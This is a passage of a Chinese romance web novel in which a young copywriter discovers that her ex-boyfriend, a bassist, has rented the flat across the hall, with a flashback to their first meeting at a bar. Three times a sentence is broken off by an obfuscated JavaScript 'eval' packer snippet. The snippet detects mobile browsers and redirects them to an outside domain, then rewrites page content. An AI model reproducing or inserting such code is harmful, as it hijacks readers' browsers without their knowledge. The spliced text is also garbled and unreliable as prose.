但离奇的,一打眼,她就觉得这人气质不俗。 黑色的长款T恤,领口开很大,借着那边蓝紫色的氛围灯能清晰看到那男生嶙峋凸起的锁骨。 忽地,有什么东西轻轻晃了下她的眼。 明翊眨眨眼,再细看,发现这人锁骨处居然打着个亮闪闪的骨钉。 她下意识抬手,想摸自己锁骨的位置,心里忍不住想:这打扮,看着就疼。 明翊并没有盯着别人一个劲看的坏习惯,但或许是出于对狠人的敬佩,她不自觉又偷偷瞄了两眼,发现晃她眼的罪魁祸首不止这一个。 那年轻男孩的胸前挂着三四条金属链子。 一动,链子就丁零当啷地响。 握着琴颈的左手手指,也同样戴了几个亮闪闪的戒指。 明翊默默收回眼,心里暗想。 这似乎是一个,在身上开五金店的帅哥。 按理说这类人应该被她果断归类到城市杀马特区域。 但意外的,这人一身潮到风湿的打扮,却并不浮夸,只莫名显得他张扬又另类,有种特立独行的气场。 “……” 大概是因为没看到脸吧。 李冉眼尖,很快也发现了这号人。 她用胳膊轻轻杵一下陶以欣,笑得暧昧:“喏,大小姐,你的人。” 陶以欣闻言看过去,眼睛亮亮的。 于玲递了个眼神过去:“还不快上,你都惦记人多久了。” “可是之前校庆的时候我问他要微信,他没有给我。” “不会吧,难道越之扬有对象了?” 陶以欣很快蹙起眉:“应该是没有,学姐跟我说他单身,我也没见他身边出现什么别的女孩子。” 明翊端起气泡水喝了一口,这还是她第一次听到越之扬这个名字。 心里冒出的头一个念头是—— 这名字真的很配他。 之扬,之扬。 人也张扬得过分。 14. 14 隔天开工之前,明翊在浏览器的搜索框内敲下一行字: 「如果你梦到了某个久未谋面的人,那代表着什么?」 底下的答案五花八门。 其中点赞最高的一条评论说,这代表着他正在渐渐遗忘你。 盯着那行字看了许久,明翊心里也没生出多少意外的情绪,只觉得本该如此。 像是重归正常的发展路径。 任楠踏进办公室,照常冲她打了个招呼:“早啊,明翊姐你那U盘找到没?” “早上好。还没,应该是不小心卷进衣服里了。” “哦,那你再找找。我也经常丢三落四,但过段时间你不找它就又莫名其妙出现了,跟随机刷新的游戏任务点似的……” 她点点头。 因为昨晚睡得实在不算好,大脑还有些困顿,明翊去茶水间接了杯咖啡才回来工作。 但这玩意治标不治本,一整天下来她的脑袋都昏昏沉沉,感觉自己的魂在飘。 好在今天没什么紧急任务。 上个活动的文案昨天刚提交,只需要等待审核结果。他们这行要开始筹备新活动之前,必须拉上几个讨论会将后续的剧情与要求落实到位,不然就是辛辛苦苦大半个月直接白干。 今天的剧情讨论会断断续续开了快一天,尽管状态实在不算好,明翊还是耐心做了笔记。 下会后。 刚出会议室,邻座的乔鸢就亲昵地凑过来:“小翊,把你那笔记借我看一眼呗。刚没注意走神了,有几个地方没太听明白。” 明翊直接把本子翻出来递给她,乔鸢道了声谢,很快走远。 一行人回到办公室,快到下班时间,工位上的人走得三三两两。 瞧见乔鸢出了办公室,对座的林苗苗才把脑袋凑过来,小声吐槽:“你老借她笔记干嘛,人家关系户,哪用得着这个,有什么事直接问上头的人不就行了。” 明翊只笑笑,随口敷衍几句,也不多话。 这是她第一份工作。 因此也不是很明白,是不是所有的职场都是这样,爱在私底下传些闲话什么的。 绝对的公平并不存在,每个人的出身与经历都不尽相同,大家八仙过海各显神通,至于乔鸢是不是走后门进来的,这事似乎和她关系不大。 一直以来,或许稍显冷淡,明翊始终是这么个为人处事的原则。 她其实不太相信职场会有真正的朋友,大家就算没有竞争关系也只是同吃一碗饭的陌生人,管好自己的事就已是难得,哪有那么多闲心去操心别人。 所以每次林苗苗拉闲话,明翊都没多少想参与进去的兴致。 但可能是瞧上去气场弱,又或者自己目前算是她手底下的人,这人总爱乐此不疲地拉着她聊这聊那。 林苗苗嘁一声。 “我就看不惯乔鸢那个样子,一天天的活也不怎么干,拿的工资那么高。” 她们这行的薪资算是保密制,明翊也不知道林苗苗是怎么判断出乔鸢的薪酬。但也只是温和地随口敷衍,很快将话题扯开。 “再高应该也高不过苗苗姐吧?” 林苗苗是正式员工,剩下常接触的几人目前都是实习生。 明翊比任楠和乔鸢早进来两月,算是关系还不错的同期。因为大任楠一岁,所以虽然入职时间差不多,这人却总爱喊她姐。 “那肯定。” 听到这话,林苗苗终于满意。 见她没再继续背后说人坏话,只是随口拉家常,明翊松了口气,象征性地配合着敷衍,又去收拾手边的东西。 正说着,对面目光忽地定在她桌面的可乐。 “哎呀小翊,你怎么爱喝这种东西呀,这玩意儿多不健康,又伤牙又容易发胖,小心喝出糖尿病。” 明翊觉得她这语气不算好。 但因为实在头疼,也没多少想反驳的心思,只随口敷衍:“啊,我有点容易犯低血糖,特地买来预防的。” “这样啊,那你可得注意着点儿,以后别再节食减肥了。” “……” 林苗苗说完就离开,明翊却没明白她这话从何说起。 * 打卡下了班。 趁着坐地铁回去的空当,她在外卖软件上下了单,公司附近的外卖又贵又难吃,几片菜叶子卖出四十的高价,明翊实在是忍不了,只好不吃晚饭,回家给自己加夜宵。 又记起林苗苗的话,总觉得她那边似乎是误会了什么。 到家门口,明翊发现门边莫名堆着七八个还没拆封的快递,大件小件都有,快垒成座小山。 她不自觉皱了下眉,因为这并不是自己的东西。 没再管那堆快递,想着可能是送错,明翊只好又联系了一下负责这片的快递员,对面说一会儿就给她答复。 很快拿钥匙开了门。 这种密码锁三重保险,钥匙指纹数字密码只要有任何一样就可以进入,所以在没有钥匙的情况下,新邻居也可以输密码直接进门。 明翊更习惯用钥匙。 这瞬间,她脑海里又冒出个念头,也许门口那堆无主快递就是她这新邻居的。 对面有人在,也刚好趁着送钥匙顺便让他把这堆垃圾清理一下。 但拿着钥匙去对门敲了半天,里面也没传来任何动静。 明翊只好又回了家。 想起任楠上午说过的话,疑心是不是真是自己不小心落在家里哪个角落,要不然Eden也不可能这么久没音信,她又仔细翻过一遍。 没多久,外卖员打来电话。 因为是独居女性,为了安全考虑明翊几乎从不让快递或是外卖之类的送货上门,穿上外套,她去楼下的门卫那里取了趟外卖。 热腾腾的砂锅丸子,隔着塑料袋都能摸到滚烫的餐盒。 顺着安全通道上了楼,因为讨厌密闭的空间,所以这些年里明翊几乎不怎么坐电梯。 好在居住的地方以及办公室楼层都不算高,一个三层,一个四层,每天多爬几趟楼也算是久坐之余锻炼身体了。 刚到四层楼梯口,隐约听到电梯那边叮的一声。 轿厢打开,有轻微的脚步声响起。 似乎是邻居回来了。 先前那把没送出去的钥匙还装在上衣口袋,明翊心想这样正好,不用再多跑一趟。 从兜里摸出钥匙,她很快朝过道那边走去。 绕过安全门,灯光转瞬变亮。 因为隔着不远,明翊几乎是立刻看清自家门口站着的那道人影,看身形似乎是个成年男性。 没穿快递员的衣服,正低着头在输密码。 密码错误的提示音不时弹出。 这场面还有些惊悚。 深更半夜一个陌生男人站在她家门口,被输错的密码阻拦后却也不停手,啧一声过后就继续埋头下去苦按,执着得简直不像话。 加之莫名出现的无主快递,明翊差点以为自己被什么犯罪团伙给盯上了。 但还没来得及紧张,这份情绪又被接连上涌的错愕给击碎。 她眨了眨眼,还有点不太敢信。 面前这人一身黑衣,背影高而瘦,挺阔的肩背被沉重的乐器包压出道明显的勒痕,微偏的脑袋旁隐约露出只亮闪闪的金属耳钉。 这打扮,眼熟得有些过分了。 大脑有一瞬的空白,尽管想表现得镇静,明翊还是因为觉得过于离谱而下意识攥紧了手边的外卖袋,塑料制品在走廊里发出细微的摩擦声。 听见这动静,那人也停下输密码的手,很快偏过头。 二人四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765358|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目相对。 看清那张脸的同时,这段时间那股不断袭击自己的见鬼感觉又来了。 明翊忍了又忍,还是没办法说服自己。 “你最好告诉我你只是过来送快递——” “你跟踪我?” 两道声音同时响起,又同时沉默。 因着这欠揍的话,她心里那点儿微妙的错愕急速散去,只觉得这人多半有病:“你别太离谱,到底谁跟踪谁?” 明亮的光线自走廊顶灯无声撒下。 对面彻底转过身的瞬间,明翊这才看清越之扬胸前还挂着个双肩包,也不知为什么那包的拉链敞着,显得不伦不类。 “到底谁离谱?”似是觉得荒唐,他也很快皱起眉,“刚刚就听见身后有脚步声,你半天不吭声,又鬼鬼祟祟。” “怎么,想偷看我家密码?” “……” 明翊觉得这人简直不可理喻。 “这你家?” “你说话之前能不能让脑子和眼睛也参与进来,多少发挥点儿作用?” 因为又累又头疼,她这话说得没半点儿收敛。 对面似乎也来了气。 “眼瞎的人是谁,不是我家难道还能是你家?”越之扬冷嗤一声,“别怪我没提醒你,你现在这行为可算是尾随。” 明翊不理解这人是哪里来的底气,走错地儿了还这么理直气壮。 她冷笑一声,走上前直接把人推到一边。 明明没使多大力气,越之扬却被推得一个趔趄,懵了几秒才反应过来:“怎么,你还打算入室抢劫——” 明翊缓缓扯一下唇,侧头对上他视线,与此同时,手腕向左一转。 欠揍的话还没说完,对面神情倏地僵住。 那扇刚才输了好几次都显示密码错误的门,就这么在越之扬面前缓缓敞开了。 明翊不是爱落井下石的人,但对方是前男友。 她在他明显错愕的神情中淡淡笑一下:“是啊,我要准备进我家抢劫去了,你这个好心人要记得报警,千万不要轻易放过我。” 越之扬:“……” 说完,直接进屋关了门。 打开玄关的灯将外卖放下后,明翊总觉得有哪里不对。 自己好像是光顾着打嘴仗要胜他一场,忘了问越之扬为什么会出现在这里了。 但现在似乎是不太好出去。 明翊是个极其死要面子活受罪的人,体面这件事比什么都重要。 在屋里慢腾腾转过一圈,她想了想,将外卖倒进碗里又装模做样地拿着个空外卖盒假作是要下楼扔垃圾,准备出去讨个说法。 越之扬不知为何正在cos快递小哥。 似乎是觉得重,那乐器包被他卸了下来,就靠在自家门边。 明翊拉开门的瞬间,半人高的黑沉乐器包直接朝着她的方向往下倒。 她一脸懵地抱住。 “你大半夜在楼道干嘛呢?” 对面抬睫看她一眼,将刚才的嘲讽毫不留情地往回抛:“兼职快递员——” 明翊直直看向他,总觉得事情不可能就这么简单。 不出所料,下一秒,这人继续道:“你觉得可能吗?” 明翊:“……” 神经病。 她皱了皱眉,没有贸然接话。 乐器包有些沉,单手快抱不住,但越之扬的东西一向贵得吓人。怕造成些不必要的财务损失,明翊只好将手边的外卖盒扔到地上,双手抱稳他的贝斯,又看过去。 “那你这是——” 因为这还算友善的举动,越之扬心情似是不错,眉梢微微上挑。 在对面一眨不眨望过来的视线里,他缓缓扯一下唇。 “不是你说的,让我来找人负责?” 15. 15 以为自己听岔,明翊还有些错愕。 “什么?” 似是对她的赖账早有预料,越之扬也不多在语言上纠缠,只轻轻啧一声,很快从兜里摸出什么递过来。 “写的什么,自己念。” 明翊双手抱着贝斯,实在是腾不出空,也不太敢轻易撒手,只好将乐器包靠在墙边,又上前去接那张轻飘飘的纸。 一个垂眸,瞬间就看清了上面的内容—— 学姐给你的小费。 “……” 有些话口嗨一下算是点到为止,但真要对着当事人的面讲出来,那效果大概堪比在葬礼上公开播放生前的聊天记录。 还得是和闺蜜的。 明翊觉得自己目前的处境就跟这张皱巴巴的纸差不多。 她试图开口解释:“我……” 又被对面给截住话头。 “不是还跟Eden说会对我负责?” 明翊:“……” 明翊:“?” 她当时是这个意思吗? 伤势和人,怎么也不能放在一起类比吧。 越之扬也不急着收拾快递了,就这么好整以暇地望过来。 他这眼神,外加方才的讲话方式,以及大包小包送到自家门口的快递,如今这人似乎又无处可去,还有那张近似‘罪证’的留言条,甚至直到现在都还在说怪话。 尽管不是很想自作多情,那个不妙的念头还是止不住一个劲往外冒。 明翊不知Eden那边和越之扬都说了些什么。 但这走向明显不对。 “我不是那意思。” 越之扬挑眉:“想抵赖?” “没有,就是你这边可能是误会了什么,Eden的表述应该也有些问题。”想着不好再给人家添麻烦,她又把这话咽回去,“算了,也可能是我没说清。” “但我绝对,绝对没有——” 视线从对面那张嚣张至极的脸上挪开,明翊才算是勉强找回些勇气,硬着头皮将他这隐晦的意图给无情挑破。 “在自己都吃不饱的情况下还包一个男大学生取乐的想法。” “……” 越之扬神情彻底僵住。 沉默片刻。 他唇角忽地向上一提,语气里的阴阳怪气酸水一样毫不留情地往外冒:“合着你还是这打算?” 明翊正暗自吐槽,就算真有这打算也不能找他。 越之扬除了会给人添堵,还能干什么? 闻言,她下意识看过去,正对上道意味深长的目光。 明翊脑袋一懵,总感觉,此刻这状况似乎是更加不对了。 “你想,”越之扬脑袋微偏,一字一句将她刚才说过的话又给重复了一遍,“——包、养、我。” “……” 有时候不得不承认人的气质果真天差地别。 自己说的时候还没这么羞耻,也时常和钟以晴拿这玩意儿打趣,可如今这话从越之扬嘴里过一遍,画面显得格外不纯情。 但明翊还是敏锐觉察到,对面似乎不是这个意思。 “所以不是这个负责?” 越之扬暼她一眼:“你想得倒是挺美,我可没这方面的打算。” 尽管再次被人吐槽,但好在事情没有朝着无法挽回的方向滑坡,明翊暗暗松口气。 刚才这人一副理所当然的表情,还往自家寄了那么多快递,因为这实在极具误导性的画面,她的思路也被渐渐带偏。 此刻回神,明翊觉得自己的想法确实很有问题。 越之扬只是带着大包小包,也许并没有打算直接来投奔她。 不对。 如果不是来投奔她…… 那他现在这是在干什么!? 某个更加不妙的念头浮现在脑海。 在门口默默站了一会儿,明翊将那想法压了又压,还是觉得难以置信,又想起房东的话:“所以…你这是搬到我家对门了?” “不然我现在是打算入室盗窃,然后让你报警当个热心市民?” 说完,越之扬就走到对门去按密码。 六位密码输完,他迅速收回手,像是梅开二度的场景,防盗门再次应声而开。 明翊的大脑也在此刻轰然作响。 不是很明白这人为什么明明有密码,还要在自家门口搬这么久的快递,让她误以为他没处可去。 短暂的失语过后,明翊暗自复盘了下目前的情形。 新邻居是自己前男友,还就住在对门,这状况似乎也没比刚才的误会好上多少。 一个当场去世,一个慢性死亡。 这人难不成是故意? 她几乎是立刻拧眉看过去:“你为什么要搬到这儿?” 越之扬觉得好笑。 “怎么,就许你一个人住这儿?” “你知道我问的不是这个。”明翊压着火气,“这太巧了不是吗?” 越之扬没吭声。 气氛一时沉寂。 明翊能察觉到自己的语气似乎是不太友善,但这状况明眼人都能看出不对。稍微思考了下,她又开口:“毕竟我觉得我们现在似乎也没什么再联系的必要了。你这忽然搬过来,还就住在我对门……” “你的意思是我故意?” 越之扬出声打断。 明翊沉默着没有接话,默认的意思很明显。 “你事先跟我提过你住这儿?” 对面似乎是也来了火,看过来的眼神有些冷。 明翊迟疑着摇摇头。 “那这片儿都被你给承包了,别人不能住?” “……” “我哪儿有这本事,”察觉到他不满,明翊有些微妙的尴尬,也不想和越之扬就这么争辩下去,很快换了个方向沟通,“就是咱俩这关系,你住过来难道不会觉得不方便么?” “咱俩什么关系?” “……” 明翊噎住。 但也实在不想让他就这么习惯性把话题用吵架给糊弄过去,只好硬着头皮道:“不太适合当邻居的前任关系。” 这一声过后,世界像是倏地安静。 因为这突然的点破,两个人谁也没有再说话。 事到如今,明翊是真搞不明白越之扬的企图。 那条短信过后,她自然不会再自作多情的误以为他对她旧情难忘什么的,余恨未了的可能性还更大些。 可这人三番四次的纠缠又不是作假。 按照越之扬这眼睛长在头顶上的性格,必不可能是想吃回头草,那么他这么做的原因只有一个:为了泄愤。 明翊觉得他这报复方式未免太迂回了点儿,换她大概是做不出搬去前任对门天天给他添堵的行为。 但为了以后生活方便,只好又试探。 “你打算住多久?” “什么意思?”越之扬侧目看她,语气又冷又硬,“赶人?” 明翊在心里默默叹口气,温声道:“也没有,就是问一声,好做打算。” 这话说的语焉不详。 但或许是太熟悉,越之扬很快就摸清了意图。 因为实在不想和他抬头不见低头见,所以要问清楚租期,据情况分析到底是继续住下去等他搬走还是直接换地方。 毕竟抛下一切离开对她来说从不算什么难事。 想到这,越之扬觉得自己这上赶着的行为也是够可笑的。 “我不住。”他冷声道。 明翊诧异抬眸。 越之扬:“我给我家猫找的地方。” 敞开的双肩包在这时一动,里面冒出个眼熟的小脑袋,冲这边喵了两声。 明翊愣了下,刚看清那双淡蓝的小圆眼,猫头又被越之扬给狠狠按了下去。 她一时有些踌躇,难道真是给猫住的? 刚打算说点儿什么缓和气氛,越之扬已上前从她身后拿过乐器包,头也不回地拉开门直接进了房间。 砰—— 防盗门被彻底关上。 明翊站在原地,还有些愣神。 顿了半晌,她慢吞吞往自家方向走,坐在沙发上捋过一遍时间线,越之扬是今天搬过来,昨天房东就说有新租客。 而他们的重逢在上周六。 在此之前,那边不可能得知她回了滨江。 似乎也没办法这么快就安排好一切,决定要尾随报复。 所以,难不成真是自己误会? 考虑到这点,明翊忍不住烦躁地抓了把头发。 钥匙还在自己口袋,但因为这番变故,如今她也不好意思再去敲那边的门。 虽说明翊也不是很想把人往坏处想,但今天这事儿无论怎么看都不对劲。 滨江好歹是一线城市,就算推平一半楼房,哪儿就那么巧越之扬刚好搬到她家对门。 而且这人看到她的那瞬间,可没有任何出于意外的情绪。 就像是早有预谋。 明翊觉得自己揣度他别有用心完全没问题。 但听到那句话,又见到窝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765359|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在背包里的猫,还是忍不住自我怀疑。 这栋楼的户型基本上全是三四十平的小公寓,越之扬这种钱多的烧得慌的大少爷就算是租个三室一厅睡一间扔两间都合理,何必来挤这种破地儿。 如果他真打算掏钱给自家猫主子寻个去处,倒也说得过去。 最后明翊还是决定先将钥匙交还,顺便打探一下敌情。 门口的快递箱已经被全数清空,地面干干净净,什么痕迹也没留下。 看到这场面,明翊暗暗松口气。她有点儿强迫症,看不惯东西被摆得一团乱,这事也只有相对亲密的人才知道。 这时,脑海又冒出个想法。 难道刚才越之扬半天不进门,是为了帮她清理门口的‘垃圾’? 不可能吧。 正对的那扇防盗门一直关着,里面听不见任何动静,明翊也不太确定越之扬还在不在。 倏地,门被拉开。 二人视线再次对上。 不同于刚才,这人现在的眼神冷得简直可以把人冻成冰。纠结一番,明翊还是决定率先搭话。 “你这是要去哪儿?” 越之扬淡淡瞥她一眼:“去露宿街头。” 停顿三秒。 明翊很平静地点一下头:“哦,那你记得穿厚一点。这季节桥洞底下可能会有点冷,但应该没多少人,你现在去的话也能占个好位置。” “……” 跟她玩这套。 呵,自求多福吧。 嘲讽完,明翊又开始旧事重提。 “抱歉啊,刚刚我不知道是你家猫要住,所以态度可能有那么一点差,但希望你也别介意,毕竟之前几次相处我们都不是特别愉快。” “如果真要住一起,关系可能会更差。” 她用越之扬之前说过的话提前将他有可能留在这里的路全部堵死。 “住一起?”对面懒懒重复。 明翊顿了下,没太明白。越之扬却不知是在想什么,神情若有所思地上下打量她一番。 明翊被这目光搞得实在困惑,在这时,对面的人眼皮一撩。 “你这话说的——”越之扬直白而又毫无掩饰的视线落到她身上,“好像我要跟你同居似的。” “……” 明翊噎了下:“真没这打算。” 论不要脸她大概是要甘拜下风。 “这是房东那边要我转交的钥匙,只有这一把,另一把在她手里。房东要出国一段时间,所以丢了可能没办法及时配,你记得收好。” 明翊很快掏出钥匙递过去,巴不得赶快把这瘟神送走。 停顿几秒,越之扬才接过,也不看她,反应始终不咸不淡。 这态度有些让人放心不下。 生怕出什么幺蛾子,想着最好还是确认一下:“所以以后,真是你家猫住这儿?” “不然你想我住?”越之扬低睫。 明翊头摇得像个拨浪鼓,又想到什么:“那猫猫,是出什么事情了吗?” “不是你说的,它不懂欣赏音乐,所以给它换个地儿。” 看来是没什么大问题。 毕竟这狗还有心思在这werwerwer地叫。 “这小子半夜跑酷,之前为这事跟室友闹了点儿矛盾,又被宿管那边发现了,暂时在LiveHouse寄养几天,没想到差点被人抓住给炖了。” 越之扬又说。 明翊立刻想起孙卓然那间工作室。 “你们不是还有个工作室?” “那地儿是谁都能进的?”他看过来,“里面随便一个乐器都够养十只猫了。” 不知是不是错觉,二人态度似乎不知不觉间有悄然软化的趋势。明翊立刻见缝插针看向他的手:“那你的手好些了吗?” 那天越之扬始终戴着半指手套,她没能看清他的伤情到底如何,也无从慰问。 明翊暗想这次应该能彻底做个了结,谁料越之扬又很快将手揣进口袋,什么也没叫她瞧见。 “差不多,所以你如果真有心想包我的话,最好还是换个套路。”他毫不留情拿方才的乌龙开涮,“那点儿钱,都不够我一次出场费。” “……” 哈哈,又在狗叫。 听着这熟悉的懒散声线,感觉自己的毒舌技能像是一下子被点满,明翊也懒得再搭理他,很快抱臂往回退。 “行,那我会去找个便宜点儿的。” “不劳驾您一把年纪还费力出场。” “……” 16. 16 眼看场面似乎要再度变得火药味冲天。 越之扬嗤一声,也不多废话,在她继续开口讲些不中听的话之前背着黑沉沉的乐器包转身进了电梯。 明翊站在原地望着轿厢阖上。 那道身影也彻底消失在眼前,忽然就有些出神,忍不住想起很久之前的一件事。 越之扬不是音乐专业的学生,弹贝斯单纯出于兴趣爱好,但一手技法却比很多专业出身的学生还要纯熟,Slap玩得炉火纯青。 明翊对这方面没什么概念,起初也不觉得越之扬的琴有多贵,以为价格就跟普通的尤克里里或是校园里男生人手一把的吉他差不多,到底是学生用的东西,顶天也就值几千。 直到她被越之扬邀请进他们那个秘密基地,孙卓然十分自来熟地主动向明翊介绍满屋子的乐器。 “这是架子鼓。” “键盘。” …… “这个就厉害了!这是扬崽新淘的孤品,带签名的!” 明翊好奇投去视线:“乐器也可以签名?” “当然啦!” “那我能拿下来看看么?” 孙卓然的表情似是有些犹豫,一时拿不定主意,倒是一旁拿着罐冷饮优哉游哉的越之扬主动开口。 “看呗,签出来不就是让人看的。” 孙卓然这才去拿那被束之高阁的贝斯,姿态谦卑又谨慎,脸上带着难得的小心翼翼。 明翊被他这反应搞得有些莫名,伸手摸了摸琴身背后那个黑色签名,并不觉得有什么特别。 她回头看越之扬。 “是类似于明星签名的那种签名吗?那你的名字签上去也会变得很……”一时找不到合适的词代替,她最终还是选择遵循孙卓然先前的说法,“厉害吗?” 越之扬一顿,淡淡抿了口饮料,语气无比嚣张:“厉不厉害是看这双手,不是谁的名字。不过——” 极其刻意的停顿,像是话未说完的中止。 明翊不自觉抬眼望过去,正撞见他十分欠揍地挑一下眉。 “要是你愿意给我签名的话,说不定我会变得非常厉害。” 明翊表情顿住。 孙卓然像是有些无语。 因为那时还不是很熟、想着要给越之扬留些面子,又或许自己的张牙舞爪本身就带着窝里横的成分,明翊最后还是没好意思怼他,只谨慎道。 “如果你需要的话,我会考虑的。” 闻言,孙卓然的表情更加一言难尽了。 沉默半晌,他将那贝斯忽地塞进她怀里:“…行了,你俩儿自己玩去吧,真是有够碍眼的。” “……” 这事差不多过去半月,或许是由于社交平台精准推送的性质,明翊意外在首页刷到了那把眼熟的贝斯。 倒是名不虚传的‘厉害‘。 没有签名的拍卖价都拍到了五万以上,顶她整个大学期间的学费和住宿费。 她也是那时才对越之扬的消费水平稍微有了点儿模糊的概念:伤害他可以,但绝对不能对他的宝贝贝斯动手。 那是她付不起的价钱。 所以直到今天,明翊还是对圣诞夜那事心有惴惴。 往走廊那边看了几眼,这栋楼是8户两梯的格局,回字形结构,构造跟酒店有点类似。 她和越之扬的猫正好在最里侧,算是对门。 虽说明翊还是觉得有点难以接受,但人家都那么说了,自己不住这儿,只是拿来做个猫窝,她要是再不同意,只会显得不近人情或是心里有鬼。 要不说人喜欢折中,进屋关上门的瞬间,明翊已经相对平和地接受了这事实。 只是一只猫。 猫猫能有什么坏心思呢。 * 记忆真是件很不公平的事。 明翊想。 越之扬那边在渐渐遗忘她、开启新生活,而她却因为这段时间频繁的接触,越来越多地回想起过去的事情。 简而言之,明翊又一次梦到了越之扬。 时间是在陶以欣生日、他们初遇当天—— 听着于玲和陶以欣交谈,明翊起初有些心不在焉,只沉默喝着杯中的薄荷气泡水。 因为那段时间气温高得离谱,她的睡眠一直不好,精神正有些困倦。 陶以欣一番话却很是提神醒脑,比薄荷叶还要管用。 “小翊,要不你去帮我要吧。” 明翊差点呛到,咳了几声才一脸迷茫地抬头:“啊?我、我吗?” 于玲也觉得这事离谱:“你说什么鬼——” 但她视线在明翊身上扫过一圈,很快就诡异认同起了陶以欣的想法,“鬼才想法!” 明翊皱了下眉,没有接话。 陶以欣又说。 “你要到微信了,再把越之扬的名片推给我,可不可以嘛?我可以请你吃饭!” 于玲想过之后也觉得可行。 “你这想法虽然离谱但没准还真行。认识这么久以来,我还没见明翊这性格跟谁提要求被拒过,要不说小白花的杀伤力就是大呢!” 对座的李冉不知想到什么,唇角扯出个不咸不淡的笑。 人和人之间的敌意是很微妙的,这份微妙无关乎说了什么话、做了什么事,有时候光凭一个气氛、或是语气间细微的变化,敌意便无所遁形。 明翊能隐约察觉到李冉并不是很喜欢她。 二人成绩都不错,但评奖名额有限。 系里前几名雷打不动,文学这件事往往天赋大过努力,明翊自认比不过人家,最多只能争个第三第四,于是多数评奖机会,往往是李冉和她在争。 两人之间总有些微妙的不对付,不知是从什么时候开始,等到终于察觉,这点不对付已经演变成硌在关系中的一粒砂。 明翊起初并没有加入这场闹剧的打算,她觉得这事实在不靠谱。 但陶以欣又开口。 “要不是上次我要微信时不小心扯坏了越之扬耳机线,他发火了。我也不至于这么迂回作战……” “你这怎么还能扯到人家耳机线?” “我这也没经验,不是想着制造点儿亲密接触的机会,结果伸手的时候抓了下他耳机,似乎是把人MP3给摔坏了。” 于玲有些无语:“这什么年头了还有人用这种老物件,不过你也真是——力大如牛。” “那边好像是记住我了,”陶以欣摊手,“之后不管我怎么找他都不理我,看我的眼神跟看个尸体似的。” “里面不会有人家的Demo吧?” 陶以欣顿了下,又缓慢点头。 众人:“……” “所以我今天真是求求你们了,我身边一圈人都帮我要过了。这次你们就假装不认识我,挨个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765360|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替我要一遍!” “行不?” 合着这是把越之扬当成BOSS在刷。 因为跟陶以欣关系好,于玲很快答应。 李冉也应下:“行,一会儿你们不行的话我再去。” 话题至此,明翊也不好再说什么。 虽然有时候她觉得也没必要太合群,但自己主动出手把关系搞僵绝对不是个明智的选择。 在大家都‘去’的情况下,‘不去’的那个人似乎就成了异类,必须要用更多的借口说服。 反正只是个任务刷新点,失败了也无所谓。 几人一直等到乐队表演结束。 虽然应下,明翊心里其实也没底,她很少干这种主动搭讪的事情。并且不出她所料,越之扬的人气果然很旺,从他下场到前往后台这段短短距离,已经冷着脸拒绝了两位前来搭讪的女顾客。 于玲的搭话也以失败告终,无声冲这边做了个鬼脸。 明翊下意识看向陶以欣,但接触到她期待的目光,拒绝的话又不自觉咽了回去。 再度盯着那边瞧了有一会儿,明翊忽然想到个两全其美的主意。 既然刷BOSS行为已经多人连环失手,那么自己的下场大抵也是如此,或许失败才是这场闹剧的最好结果。 所以,她不打算真要。 随便做个样子在越之扬面前晃一圈,回来再跟陶以欣解释,说没要到,好打消她这离谱的念头。 明翊觉得要联系方式这事怎么看都得当事人亲自出马会显得更有诚意。 追人的第一步都假手于人,真在一起的话估计也不会有什么好结果。 冷静过后,再回想方才一时冲动应下这事,明翊是真觉得自己脑抽。 毕竟越之扬拒绝人的方式是真的不留情面,傲慢又无礼。 无论对面的女生说什么,他始终一张冷脸,耳边存在感极强的有线耳机也不往下取,一副完全没在听人说话的嚣张姿态。 极其地、让人下不来台。 转眼,那边又拒绝了一位女孩。 明翊扫过去一眼,此刻越之扬正靠在吧台边跟调酒师说着话,肩上背个黑沉沉的乐器包,这人冲门口比了个手势,看上去就快要离开。 尽管心里没底,明翊也不好再耽搁下去,很快在陶以欣寄予厚望的目光下起身。 人有点多,吧台处三三两两坐着几人,正喝酒谈天。因为太紧张,明翊没细听他们在说什么。 好不容易提心吊胆挤到越之扬身边,二人中间大概还隔着段距离,不远不近。 明翊正琢磨该怎么搭话才能让他赶紧把自己给无情拒了,身后忽然凭空出现道猛烈的冲撞力道。 因为一门心思琢磨这件事,明翊没能注意到,途径的吧台附近正有人争执。 二人吵得面红耳赤,其中一人飚了句脏话,另一人转眼暴怒,伸手推了邻座的男人一把。 被推的那人恰好就坐在她身侧,整个人连带高脚椅一翻,直直朝明翊撞过来。 远处隐约传来陶以欣担忧的惊呼。 明翊却无暇他顾,除了瞪大眼似乎什么也再做不了。 因为她已经被那栽倒的男人连带砸过来的木椅撞得一个踉跄,向前扑去,眼看就快要摔倒。 